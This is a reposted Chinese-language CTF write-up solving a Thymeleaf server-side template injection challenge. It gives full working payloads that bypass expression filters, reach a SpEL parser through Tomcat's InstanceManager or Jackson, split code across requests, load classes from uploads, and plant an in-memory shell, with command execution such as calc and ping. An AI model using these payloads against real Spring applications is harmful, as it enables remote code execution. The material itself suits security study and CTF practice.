文章总结: 本文详述了ThymeleafSSTI挑战题的解题过程,针对题目设计的三层防护机制:特殊符号过滤、对象实例化限制及长度限制,分别提出了利用$*{变形语法绕过检测、借助TomcatInstanceManager实例化SpEL解析器、以及通过ServletContext分步存储Payload等关键技术手段。文章还总结了利用Jackson反序列化、文件上传加载类等非预期解法,展示了多种实现RCE与内存马注入的路径,具有较高的实战参考价值,文末附带新的fastjson绕过挑战。 综合评分: 90 文章分类: WEB安全,漏洞分析,CTF,渗透测试,漏洞POC
ssti挑战——wp
原创
珂字辈 珂字辈
珂技知识分享
2026年3月12日 10:35 湖北
前文
ssti挑战——有奖金
奖金获取情况,因为自己的失误改动过题目,因此改动前后的挑战者独立计算奖金。
改动前,JZX第一名,Miku0x39第二名。其中JZX在改动后也做出了非常优秀的解。
改动后,无敌暴龙战士第一名,JZX第二名,貔貅第三名,77/glzjin/北辰/chao也都做了出来。
无敌暴龙战士/貔貅/glzjin和预期解几乎一样,那就先说预期解,也就是thymeleaf模板注入。可以先阅读
Thymeleaf SSTI bypass历史
这题本质上有三层防护。
第一层防护,不让用$$。
原版containsExpression()的写法本质上是将两个特殊符号视作一轮检测。
其目的是想检测出【${】,同理包括【*{】【@ {】等等都会命中检测。但【$Q{】就不会,因此衍生出了【$${】这个payload。虽然看起来【$${】也包含【${】,但实际上【$$】是视为一轮检测的,原版能通过,后面【{…】再视为第二轮检测。
同理,【*${】,【#${】,【@${】,【~${】这些全部可以。
修复版containsExpression()在第二层增加了【$】检测,那么用【$${】绕过就不行了,但很容易从上面几个特殊符号得出提示,【*#@~】肯定有一个能帮助绕过,很容易尝试出来是【$*{】
__|$*{#ctx.getExchange().getNativeResponseObject().addHeader("cmd","test")}|__::.
第二层防护,不让用new。
而最新版thymeleaf将T和Class.forName()都封堵了,看起来几乎无法实例化类了。
我们可以从S2-061上取经,S2-061是从ognl的内置对象application上取到了org.apache.catalina.core.DefaultInstanceManager。
https://forum.butian.net/share/4037
而DefaultInstanceManager就很有用了,它存在newInstance方法帮我们实例化对象。
有两种方法都取得到
@servletContext.getAttribute('org.apache.tomcat.InstanceManager')#ctx.getExchange().getApplication().getAttributeValue("org.apache.tomcat.InstanceManager")
因此我们可以进行实例化了。
__|$*{#ctx.getExchange().getNativeResponseObject().addHeader("cmd",@servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('org.springframework.expression.spel.standard.SpelExpressionParser').toString())}|__::.
第三层防护,限制长度
这个就有多种小技巧。
1,利用一个不存在的函数单个请求执行多行代码
2,对反复使用的对象注册临时变量
__|$*{qqq(#w=#ctx.getExchange().getNativeResponseObject().getWriter(),#w.flush(),#w.write("qqq"))}|__::.
3,找到一处可以永久存储对象的地方,用来存储恶意对象,方便用多次请求来分解payload。
@servletContext.setAttribute("key", "value")#ctx.getExchange().getApplication().getNativeServletContextObject().setAttribute("key", "value")
因此简单的命令回显payload就出来了。
__|$*{@servletContext.setAttribute("p",@servletContext.getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.springframework.expression.spel.standard.SpelExpressionParser"))}|__::.__|$*{@servletContext.setAttribute("spel","n"%2B"ew java.util.Scanner(T"%2B"(java.lang.Runtime).getRuntime().exec('ping 127.0.0.1').getInputStream()).useDelimiter('\\a').next()")}|__::.__|$*{@servletContext.getAttribute("p").parseExpression(@servletContext.getAttribute("spel")).getValue()}|__::.__|$*{qqq(#w=#ctx.getExchange().getNativeResponseObject().getWriter(),#w.flush(),#w.write(@servletContext.getAttribute("p").parseExpression(@servletContext.getAttribute("spel")).getValue()))}|__::.
如果要打内存马呢?直接在setAttribute中多次累加payload即可。
__|$*{@servletContext.setAttribute("spel",@servletContext.getAttribute("spel")%2B"QQQQQQQQQQQQQQ")}|__::.
然后来介绍其他人的非预期。
77/北辰使用了new.XXX()的方式实例化对象(受Thymeleaf黑名单影响)。
new.com.fasterxml.jackson.databind.ObjectMapper()
北辰修改了上传文件路径到WEB-INF/classes/,进行类加载,比较优雅
__|**{#ctx.x(#r=#ctx.getExchange().getNativeRequestObject(),#f=#r.getServletContext().getRealPath("WEB-INF/classes/BS.class"),new.ch.qos.logback.core.FileAppender().openFile(#f),#r.getParts().get(0).write(#f),new.BS())}|__::.
JZX/chao使用了内置@jacksonObjectMapper对象来实例化对象,java代码如下。
//@jacksonObjectMapper ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); JavaType javaType = mapper.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser"); SpelExpressionParser parser = mapper.readValue("{}", javaType); parser.parseExpression("T (java.lang.Runtime).getRuntime().exec(\"calc\")").getValue();
换成ssti如下。
__|$*{@jacksonObjectMapper.enableDefaultTyping()}|__::.__|$*{@servletContext.setAttribute("javatype",@jacksonObjectMapper.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser"))}|__::.__|$*{@servletContext.setAttribute("parser",@jacksonObjectMapper.readValue("{}",@servletContext.getAttribute("javatype")))}|__::.__|$*{@servletContext.getAttribute("parser").parseExpression("T"%2B" (java.lang.Runtime).getRuntime().exec('calc')").getValue()}|__::.
小晨曦通过jackson反序列化实例化对象(受jackson黑名单影响),java代码如下。
//@jacksonObjectMapper ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json1 = "{\r\n" + " \"a\": [\r\n" + " \"org.springframework.beans.factory.config.MethodInvokingFactoryBean\",\r\n" + " {\"staticMethod\": \"java.lang.Runtime.getRuntime\"}\r\n" + " ],\r\n" + " \"b\": [\r\n" + " \"org.springframework.beans.factory.config.MethodInvokingFactoryBean\",\r\n" + " {\r\n" + " \"targetMethod\": \"exec\",\r\n" + " \"arguments\": [\"calc\"]\r\n" + " }\r\n" + " ]" + "}"; System.out.println(json1.replaceAll("\\s+", "")); LinkedHashMap map = mapper.readValue(json1, LinkedHashMap.class); MethodInvokingFactoryBean beanA = (MethodInvokingFactoryBean) map.get("a"); beanA.afterPropertiesSet(); Runtime runtime = (Runtime)beanA.getObject(); MethodInvokingFactoryBean beanB = (MethodInvokingFactoryBean) map.get("b"); beanB.setTargetObject(runtime); beanB.afterPropertiesSet(); beanB.getObject();
其中LinkedHashMap.class是这样取到的
@resourceHandlerMapping.urlMap.getClass()
ssti写法略过,比较复杂,有兴趣的自己写。
chao使用了http参数传递spel表达式,单请求回显,比较优雅。
username=__|$*{@jacksonObjectMapper.readValue("{}",@jacksonObjectMapper.getTypeFactory().findClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression(#ctx.getExchange().getNativeRequestObject().getParameter('a')).getValue()}|__::.&a=T (org.springframework.cglib.core.ReflectUtils).defineClass('payload.SpringEcho',T (org.springframework.util.Base64Utils).decodeFromString('yv66vgQQQQ'),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).newInstance()
那么ssti挑战的靶场就关闭了,有兴趣的自己搭建环境复现。
末尾附上最后一个挑战,这次没有奖金,算是P牛挑战的狗尾续貂。
http://104.160.44.44:8078/json
https://github.com/kezibei/vulnerable-challenge/tree/main/fastjson_jdbc
小明又知道这里有漏洞,但他认真修复了原组件的漏洞,你能绕过他的修复吗?要求getshell。
P牛挑战原文。
https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈 珂字辈《ssti挑战——wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论